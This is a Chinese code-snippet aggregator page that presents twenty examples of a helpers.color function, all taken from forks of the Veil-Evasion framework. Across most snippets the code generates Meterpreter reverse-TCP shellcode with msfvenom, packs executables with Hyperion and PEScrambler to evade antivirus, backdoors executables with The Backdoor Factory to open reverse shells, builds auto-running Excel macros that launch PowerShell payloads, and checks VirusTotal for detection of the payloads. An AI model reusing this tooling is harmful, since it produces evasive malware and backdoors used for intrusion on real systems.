本文整理汇总了Python中modules.common.helpers.color函数的典型用法代码示例。如果您正苦于以下问题:Python color函数的具体用法?Python color怎么用?Python color使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了color函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Python代码示例。
示例1: custShellcodeMenu
def custShellcodeMenu(self, showTitle=True):
"""
Menu to prompt the user for a custom shellcode string.
Returns None if nothing is specified.
"""
# print out the main title to reset the interface
if showTitle:
messages.title()
print ' [?] Use msfvenom or supply custom shellcode?\n'
print ' 1 - msfvenom (default)'
print ' 2 - Custom\n'
choice = raw_input(" [>] Please enter the number of your choice: ")
# Continue to msfvenom parameters.
if choice == '2':
CustomShell = raw_input(" [>] Please enter custom shellcode (one line, no quotes, \\x00.. format): ")
return CustomShell
elif choice != '1':
print helpers.color(" [!] WARNING: Invalid option chosen, defaulting to msfvenom!", warning=True)
return None
else:
return None
开发者ID:Ehnemz,项目名称:Veil,代码行数:26,代码来源:shellcode.py
示例2: SetPayload
def SetPayload(self, payloadname, options):
"""
Manually set the payload for this object with specified options.
name = the payload to set, ex: c/meter/rev_tcp
options = dictionary of required options for the payload, ex:
options['customShellcode'] = "\x00..."
options['required_options'] = {"compile_to_exe" : ["Y", "Compile to an executable"], ...}
options['msfvenom'] = ["windows/meterpreter/reverse_tcp", ["LHOST=192.168.1.1","LPORT=443"]
"""
# iterate through the set of loaded payloads, trying to find the specified payload name
for (name, payload) in self.payloads:
if payloadname.lower() == name.lower():
# set the internal payload variable
self.payload = payload
# options['customShellcode'] = "\x00..."
if 'customShellcode' in options:
self.payload.shellcode.setCustomShellcode(options['customShellcode'])
# options['required_options'] = {"compile_to_exe" : ["Y", "Compile to an executable"], ...}
if 'required_options' in options:
for k,v in options['required_options'].items():
self.payload.required_options[k] = v
# options['msfvenom'] = ["windows/meterpreter/reverse_tcp", ["LHOST=192.168.1.1","LPORT=443"]
if 'msfvenom' in options:
self.payload.shellcode.SetPayload(options['msfvenom'])
# if a payload isn't found, then list available payloads and exit
if not self.payload:
print helpers.color(" [!] Invalid payload selected\n\n", warning=True)
self.ListPayloads()
sys.exit()
开发者ID:RazerVenom,项目名称:Veil-Evasion,代码行数:35,代码来源:controller.py
示例3: generate
def generate(self):
# randomize the output file so we don't overwrite anything
randName = helpers.randomString(5) + ".exe"
outputFile = settings.TEMP_DIR + randName
# the command to invoke hyperion. TODO: windows compatibility
peCommand = "wine PEScrambler.exe -i " + self.required_options["ORIGINAL_EXE"][0] + " -o " + outputFile
print helpers.color("\n[*] Running PEScrambler on " + self.required_options["ORIGINAL_EXE"][0] + "...")
# be sure to set 'cwd' to the proper directory for hyperion so it properly runs
p = subprocess.Popen(peCommand, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=settings.VEIL_EVASION_PATH+"tools/pescrambler/", shell=True)
time.sleep(3)
stdout, stderr = p.communicate()
try:
# read in the output .exe from /tmp/
f = open(outputFile, 'rb')
PayloadCode = f.read()
f.close()
except IOError:
print "\nError during PEScrambler execution:\n" + helpers.color(stdout, warning=True)
raw_input("\n[>] Press any key to return to the main menu.")
return ""
# cleanup the temporary output file. TODO: windows compatibility
p = subprocess.Popen("rm " + outputFile, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
stdout, stderr = p.communicate()
return PayloadCode
开发者ID:ChauvetG,项目名称:Veil-Evasion,代码行数:31,代码来源:pe_scrambler.py
示例4: generate
def generate(self):
"""
Based on the options set by menu(), setCustomShellcode() or SetPayload()
either returns the custom shellcode string or calls msfvenom
and returns the result.
Returns the shellcode string for this object.
"""
# if the msfvenom command nor shellcode are set, revert to the
# interactive menu to set any options
if self.msfvenomCommand == "" and self.customshellcode == "":
self.menu()
# return custom specified shellcode if it was set previously
if self.customshellcode != "":
return self.customshellcode
# generate the shellcode using msfvenom
else:
print helpers.color("\n [*] Generating shellcode...")
if self.msfvenomCommand == "":
print helpers.color(" [!] ERROR: msfvenom command not specified in payload!\n", warning=True)
return None
else:
# Stript out extra characters, new lines, etc., just leave the shellcode.
# Tim Medin's patch for non-root non-kali users
FuncShellcode = commands.getoutput(veil.METASPLOIT_PATH + self.msfvenomCommand)
FuncShellcode = FuncShellcode[82:-1]
FuncShellcode = FuncShellcode.strip()
return FuncShellcode
开发者ID:Ehnemz,项目名称:Veil,代码行数:31,代码来源:shellcode.py
示例5: generate
def generate(self):
# randomize the output file so we don't overwrite anything
randName = helpers.randomString(5) + ".exe"
outputFile = settings.TEMP_DIR + randName
if not os.path.isfile(self.required_options["ORIGINAL_EXE"][0]):
print "\nError during Hyperion execution:\nInput file does not exist"
raw_input("\n[>] Press any key to return to the main menu.")
return ""
print helpers.color("\n[*] Running Hyperion on " + self.required_options["ORIGINAL_EXE"][0] + "...")
# the command to invoke hyperion. TODO: windows compatibility
# be sure to set 'cwd' to the proper directory for hyperion so it properly runs
p = subprocess.Popen(["wine", "hyperion.exe", self.required_options["ORIGINAL_EXE"][0], outputFile], stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=settings.VEIL_EVASION_PATH+"tools/hyperion/", shell=True)
stdout, stderr = p.communicate()
try:
# read in the output .exe from /tmp/
f = open(outputFile, 'rb')
PayloadCode = f.read()
f.close()
except IOError:
print "\nError during Hyperion execution:\n" + helpers.color(stdout, warning=True)
raw_input("\n[>] Press any key to return to the main menu.")
return ""
# cleanup the temporary output file. TODO: windows compatibility
if os.path.isfile(outputFile):
p = subprocess.Popen(["rm", outputFile], stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
stdout, stderr = p.communicate()
return PayloadCode
开发者ID:AliBawazeEer,项目名称:Veil-Evasion,代码行数:34,代码来源:hyperion.py
示例6: PayloadInfo
def PayloadInfo(self, payload, showTitle=True, showInfo=True):
"""
Print out information about a specified payload.
payload = the payload object to print information on
showTitle = whether to show the Veil title
showInfo = whether to show the payload information bit
"""
if showTitle:
if settings.TERMINAL_CLEAR != "false":
messages.title()
if showInfo:
# extract the payload class name from the instantiated object, then chop off the load folder prefix
payloadname = "/".join(
str(str(payload.__class__)[str(payload.__class__).find("payloads") :]).split(".")[0].split("/")[1:]
)
print helpers.color(" Payload information:\n")
print "\tName:\t\t" + payloadname
print "\tLanguage:\t" + payload.language
print "\tRating:\t\t" + payload.rating
if hasattr(payload, "shellcode"):
if self.payload.shellcode.customshellcode:
print "\tShellcode:\t\tused"
# format this all nice-like
print helpers.formatLong("Description:", payload.description)
# if required options were specified, output them
if hasattr(self.payload, "required_options"):
self.PayloadOptions(self.payload)
开发者ID:Cyber-Forensic,项目名称:Veil-Evasion,代码行数:34,代码来源:controller.py
示例7: generate
def generate(self, required_options=None):
"""
Based on the options set by menu(), setCustomShellcode() or SetPayload()
either returns the custom shellcode string or calls msfvenom
and returns the result.
Returns the shellcode string for this object.
"""
self.required_options = required_options
# if the msfvenom command nor shellcode are set, revert to the
# interactive menu to set any options
if self.msfvenomCommand == "" and self.customshellcode == "":
self.menu()
# return custom specified shellcode if it was set previously
if self.customshellcode != "":
return self.customshellcode
# generate the shellcode using msfvenom
else:
print helpers.color("\n [*] Generating shellcode...")
if self.msfvenomCommand == "":
print helpers.color(" [!] ERROR: msfvenom command not specified in payload!\n", warning=True)
return None
else:
# Stript out extra characters, new lines, etc., just leave the shellcode.
# Tim Medin's patch for non-root non-kali users
FuncShellcode = subprocess.check_output(settings.MSFVENOM_PATH + self.msfvenomCommand, shell=True)
# try to get the current MSF build version do we can determine how to
# parse the shellcode
# pretty sure it was this commit that changed everything-
# https://github.com/rapid7/metasploit-framework/commit/4dd60631cbc88e8e6d5322a94a492714ff83fe2f
try:
# get the latest metasploit build version
f = open(settings.METASPLOIT_PATH + "/build_rev.txt")
lines = f.readlines()
f.close()
# extract the build version/data
version = lines[0]
major,date = version.split("-")
# 2014021901 - the version build date where msfvenom shellcode changed
if int(date) < 2014021901:
# use the old way
return FuncShellcode[82:-1].strip()
else:
# new way
return FuncShellcode[22:-1].strip()
# on error, default to the new version
except:
return FuncShellcode[22:-1].strip()
开发者ID:rayzhi,项目名称:Veil-Evasion,代码行数:57,代码来源:shellcode.py
示例8: SetPayload
def SetPayload(self, payloadname, options):
"""
Manually set the payload for this object with specified options.
name = the payload to set, ex: c/meter/rev_tcp
options = dictionary of required options for the payload, ex:
options['customShellcode'] = "\x00..."
options['required_options'] = {"compile_to_exe" : ["Y", "Compile to an executable"], ...}
options['msfvenom'] = ["windows/meterpreter/reverse_tcp", ["LHOST=192.168.1.1","LPORT=443"]
"""
# iterate through the set of loaded payloads, trying to find the specified payload name
for (name, payload) in self.payloads:
if payloadname.lower() == name.lower():
# set the internal payload variable
self.payload = payload
self.payloadname = name
# did they enter a number rather than the full payload?
elif payloadname.isdigit() and 0 < int(payloadname) <= len(self.payloads):
x = 1
for (name, pay) in self.payloads:
# if the entered number matches the payload #, use that payload
if int(payloadname) == x:
self.payload = pay
self.payloadname = name
x += 1
# if a payload isn't found, then list available payloads and exit
if self.payload:
# options['customShellcode'] = "\x00..."
if 'customShellcode' in options:
self.payload.shellcode.setCustomShellcode(options['customShellcode'])
# options['required_options'] = {"compile_to_exe" : ["Y", "Compile to an executable"], ...}
if 'required_options' in options:
for k,v in options['required_options'].items():
self.payload.required_options[k] = v
# options['msfvenom'] = ["windows/meterpreter/reverse_tcp", ["LHOST=192.168.1.1","LPORT=443"]
if 'msfvenom' in options:
self.payload.shellcode.SetPayload(options['msfvenom'])
if not self.ValidatePayload(self.payload):
print " Payload: %s\n" % self.payloadname
print helpers.color("\n [!] WARNING: Not all required options filled\n", warning=True)
self.PayloadOptions(self.payload)
sys.exit()
else:
print helpers.color(" [!] Invalid payload selected\n\n", warning=True)
self.ListPayloads()
sys.exit()
开发者ID:bemonolit,项目名称:Veil-Evasion,代码行数:55,代码来源:controller.py
示例9: PayloadOptions
def PayloadOptions(self, payload):
print helpers.color("\n Required Options:\n")
print " Name\t\t\tCurrent Value\tDescription"
print " ----\t\t\t-------------\t-----------"
# sort the dictionary by key before we output, so it looks nice
for key in sorted(self.payload.required_options.iterkeys()):
print " %s\t%s\t%s" % ('{0: <16}'.format(key), '{0: <8}'.format(payload.required_options[key][0]), payload.required_options[key][1])
print ""
开发者ID:RazerVenom,项目名称:Veil-Evasion,代码行数:11,代码来源:controller.py
示例10: generate
def generate(self):
# Variables for path to our executable input and war output
orig_posh_batch = self.required_options["POSH_BATCH"][0]
try:
# read in the executable
with open(orig_posh_batch, 'r') as bat_file:
batch_lines = bat_file.readlines()
except IOError:
print helpers.color("\n [!] Powershell Script \"" + orig_posh_batch + "\" not found\n", warning=True)
return ""
cut = []
for line in batch_lines:
if "@echo off" not in line:
first = line.split('else')
# split on else to truncate the back half
# split on \"
cut = first[0].split('\\"', 4)
# get rid of everything before powershell
cut[0] = cut[0].split('%==x86')[1]
cut[0] = cut[0][2:]
# get rid of trailing parenthesis
cut[2] = cut[2].strip(" ")
cut[2] = cut[2][:-1]
top = "Sub Workbook_Open()\r\n"
top = top + "Dim str As String\r\n"
top = top + "Dim exec As String\r\n"
# insert '\r\n' and 'str = str +' every 48 chars after the first 54.
payL = self.formStr("str", str(cut[1]))
# double up double quotes, add the rest of the exec string
idx = cut[0].index('"')
cut[0] = cut[0][:idx] + '"' + cut[0][idx:]
cut[0] = cut[0] + "\\\"\" \" & str & \" \\\"\" " + cut[2] +"\""
execStr = self.formStr("exec", str(cut[0]))
shell = "Shell(exec)"
bottom = "End Sub\r\n\r\n"
PayloadCode = ''
PayloadCode = top + "\r\n" + payL + "\r\n\r\n" + execStr + "\r\n\r\n" + shell + "\r\n\r\n" + bottom + "\r\n"
# Return
return PayloadCode
开发者ID:AliBawazeEer,项目名称:Veil-Evasion,代码行数:53,代码来源:macro_converter.py
示例11: CheckVT
def CheckVT(self, interactive=True):
"""
Checks payload hashes in veil-output/hashes.txt vs VirusTotal
"""
# Command for in-menu vt-notify check against hashes within hash file
# It's only triggered if selected in menu and file isn't empty
try:
if os.stat(settings.HASH_LIST)[6] != 0:
checkVTcommand = "./vt-notify.rb -f " + settings.HASH_LIST + " -i 0"
print helpers.color("\n [*] Checking Virus Total for payload hashes...\n")
checkVTout = Popen(
checkVTcommand.split(), stdout=PIPE, cwd=settings.VEIL_EVASION_PATH + "tools/vt-notify/"
)
found = False
for line in checkVTout.stdout:
if "was found" in line:
filehash, filename = line.split()[0].split(":")
print helpers.color(" [!] File %s with hash %s found!" % (filename, filehash), warning=True)
found = True
if found == False:
print " [*] No payloads found on VirusTotal!"
raw_input("\n [>] Press any key to continue...")
else:
print helpers.color("\n [!] Hash file is empty, generate a payload first!", warning=True)
raw_input("\n [>] Press any key to continue...")
except OSError as e:
print helpers.color("\n [!] Error: hash list %s not found" % (settings.HASH_LIST), warning=True)
raw_input("\n [>] Press any key to continue...")
开发者ID:Cyber-Forensic,项目名称:Veil-Evasion,代码行数:33,代码来源:controller.py
示例12: title
def title():
"""
Print the framework title, with version.
"""
logging.info('=========================================================================')
logging.info(' Veil | [Version]: 2.0 ')
logging.info('=========================================================================')
logging.info(' [Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion')
logging.info('=========================================================================')
# check to make sure the current OS is supported,
# print a warning message if it's not and exit
if veil.OPERATING_SYSTEM == "Windows" or veil.OPERATING_SYSTEM == "Unsupported":
print helpers.color(' [!] ERROR: Your operating system is not currently supported...\n', warning=True)
print helpers.color(' [!] ERROR: Request your distribution at the GitHub repository...\n', warning=True)
sys.exit()
开发者ID:DJHartley,项目名称:Veil,代码行数:15,代码来源:messages.py
示例13: title
def title():
"""
Print the framework title, with version.
"""
os.system(veil.TERMINAL_CLEAR)
print '========================================================================='
print ' Veil | [Version]: 2.0.1'
print '========================================================================='
print ' [Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion'
print '========================================================================='
print ""
if veil.OPERATING_SYSTEM != "Kali":
print helpers.color(' [!] WARNING: Official support for Kali Linux (x86) only at this time!', warning=True)
print helpers.color(' [!] WARNING: Continue at your own risk!\n', warning=True)
开发者ID:d3m3vilurr,项目名称:Veil,代码行数:15,代码来源:messages.py
示例14: generate
def generate(self):
if self.required_options["payload"][0] == "custom":
Shellcode = self.shellcode.generate()
raw = Shellcode.decode("string_escape")
f = open(settings.TEMP_DIR + "shellcode.raw", 'wb')
f.write(raw)
f.close()
backdoorCommand = "./backdoor.py -f " + self.required_options["orig_exe"][0] + " -o payload.exe -s user_supplied_shellcode -U " + settings.TEMP_DIR + "shellcode.raw"
else:
shellcodeChoice = ""
if self.required_options["payload"][0] == "meter_tcp":
shellcodeChoice = "reverse_tcp_stager"
elif self.required_options["payload"][0] == "meter_https":
shellcodeChoice = "meterpreter_reverse_https"
elif self.required_options["payload"][0] == "rev_shell":
shellcodeChoice = "reverse_shell_tcp"
else:
print helpers.color("\n [!] Please enter a valid payload choice.", warning=True)
raw_input("\n [>] Press any key to return to the main menu:")
return ""
# the command to invoke the backdoor factory
backdoorCommand = "./backdoor.py -f " + self.required_options["orig_exe"][0] + " -o payload.exe -s " + shellcodeChoice + " -H " + self.required_options["LHOST"][0] + " -P " + self.required_options["LPORT"][0]
print helpers.color("\n [*] Running The Backdoor Factory...")
# be sure to set 'cwd' to the proper directory for hyperion so it properly runs
p = subprocess.Popen(backdoorCommand, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=settings.VEIL_EVASION_PATH+"tools/backdoor/", shell=True)
stdout, stderr = p.communicate()
try:
# read in the output .exe from /tmp/
f = open(settings.VEIL_EVASION_PATH+"tools/backdoor/backdoored/payload.exe", 'rb')
PayloadCode = f.read()
f.close()
except IOError:
print "\nError during The Backdoor Factory execution:\n" + helpers.color(stdout, warning=True)
raw_input("\n[>] Press any key to return to the main menu:")
return ""
return PayloadCode
开发者ID:Sdlearn,项目名称:Veil-Evasion,代码行数:48,代码来源:backdoor_factory.py
示例15: ListPayloads
def ListPayloads(self):
"""
Prints out available payloads in a nicely formatted way.
"""
print helpers.color("\n [*] Available Payloads:\n")
lastBase = None
x = 1
for (name, payload) in self.payloads:
parts = name.split("/")
if lastBase and parts[0] != lastBase:
print ""
lastBase = parts[0]
print "\t%s)\t%s" % (x, "{0: <24}".format(name))
x += 1
print ""
开发者ID:Cyber-Forensic,项目名称:Veil-Evasion,代码行数:16,代码来源:controller.py
示例16: SetPayload
def SetPayload(self, lang, name, options):
"""
Manually set the payload for this object with specified options.
lang = the language of the payload ("python"/"c"/etc.)
name = the payload to set ("VirtualAlloc"/etc.)
options = dictionary of required options for the payload, ex:
options['customShellcode'] = "\x00..."
options['required_options'] = {"compile_to_exe" : ["Y", "Compile to an executable"], ...}
options['msfvenom'] = ["windows/meterpreter/reverse_tcp", ["LHOST=192.168.1.1","LPORT=443"]
"""
# first extract out all languages to make sure
# a language valid choice was passed
langs = list(set([payload.language for (n, payload) in self.payloads]))
if lang not in langs:
print helpers.color("\n[!] Specified language '" + lang + "' not valid\n", warning=True)
self.ListLangs()
sys.exit()
# extract out the specific payloads for this language
payloads = list(set([payload.shortname for (n, payload) in self.payloads if payload.language == lang]))
if name not in payloads:
print helpers.color("\n[!] Specified payload '"+name+"' not valid\n", warning=True)
self.ListPayloads(lang)
sys.exit()
# iterate through the set of loaded payloads, trying to match
# the language name and payload specified
for (n, payload) in self.payloads:
if payload.language == lang:
if payload.shortname == name:
# set the internal payload variable
self.payload = payload
# options['customShellcode'] = "\x00..."
if 'customShellcode' in options:
self.payload.shellcode.setCustomShellcode(options['customShellcode'])
# options['required_options'] = {"compile_to_exe" : ["Y", "Compile to an executable"], ...}
if 'required_options' in options:
for k,v in options['required_options'].items():
self.payload.required_options[k] = v
# options['msfvenom'] = ["windows/meterpreter/reverse_tcp", ["LHOST=192.168.1.1","LPORT=443"]
if 'msfvenom' in options:
self.payload.shellcode.SetPayload(options['msfvenom'])
开发者ID:Linnor,项目名称:Veil,代码行数:46,代码来源:controller.py
示例17: ListPayloads
def ListPayloads(self, lang):
"""
Prints out the available payloads for a specific language.
lang = the language to list ("python"/"c"/etc.)
"""
print (" Available %s payloads:\n" % (helpers.color(lang)))
for (name, payload) in self.payloads:
if payload.language == lang: print "\t%s\t\t%s" % ('{0: <16}'.format(payload.shortname), payload.rating)
开发者ID:Linnor,项目名称:Veil,代码行数:9,代码来源:controller.py
示例18: ListLangs
def ListLangs(self):
"""
Prints out all available languages of loaded paylod modules.
"""
langs = list()
for (name, payload) in self.payloads: langs.append(payload.language)
print (" Available languages:\n")
for lang in set(langs): print "\t" + helpers.color(lang)
print ""
开发者ID:Linnor,项目名称:Veil,代码行数:10,代码来源:controller.py
示例19: arya
def arya(source):
# compile the source to a temporary .EXE path
tempExePath = supportfiles.compileToTemp("cs", source)
try:
# read in the raw binary
f = open(tempExePath, 'rb')
rawBytes = f.read()
f.close()
# build the obfuscated launcher source and return it
launcherCode = buildAryaLauncher(rawBytes)
return launcherCode
except:
print helpers.color(" [!] Couldn't read compiled .NET source file: %s"%(tempExePath), warning=True)
return ""
开发者ID:BenJaziaSadok,项目名称:Veil-Evasion,代码行数:19,代码来源:encryption.py
示例20: generate
def generate(self):
self._validateArchitecture()
PYTHON_SOURCE = self.required_options["PYTHON_SOURCE"][0]
try:
# read in the python source
f = open(PYTHON_SOURCE, 'r')
PayloadCode = f.read()
f.close()
except IOError:
print helpers.color("\n [!] PYTHON_SOURCE file \""+PYTHON_SOURCE+"\" not found\n", warning=True)
return ""
# example of how to check the internal options
if self.required_options["USE_PYHERION"][0].lower() == "y":
PayloadCode = encryption.pyherion(PayloadCode)
# return everything
return PayloadCode
开发者ID:AliBawazeEer,项目名称:Veil-Evasion,代码行数:20,代码来源:pyinstaller_wrapper.py
注:本文中的modules.common.helpers.color函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论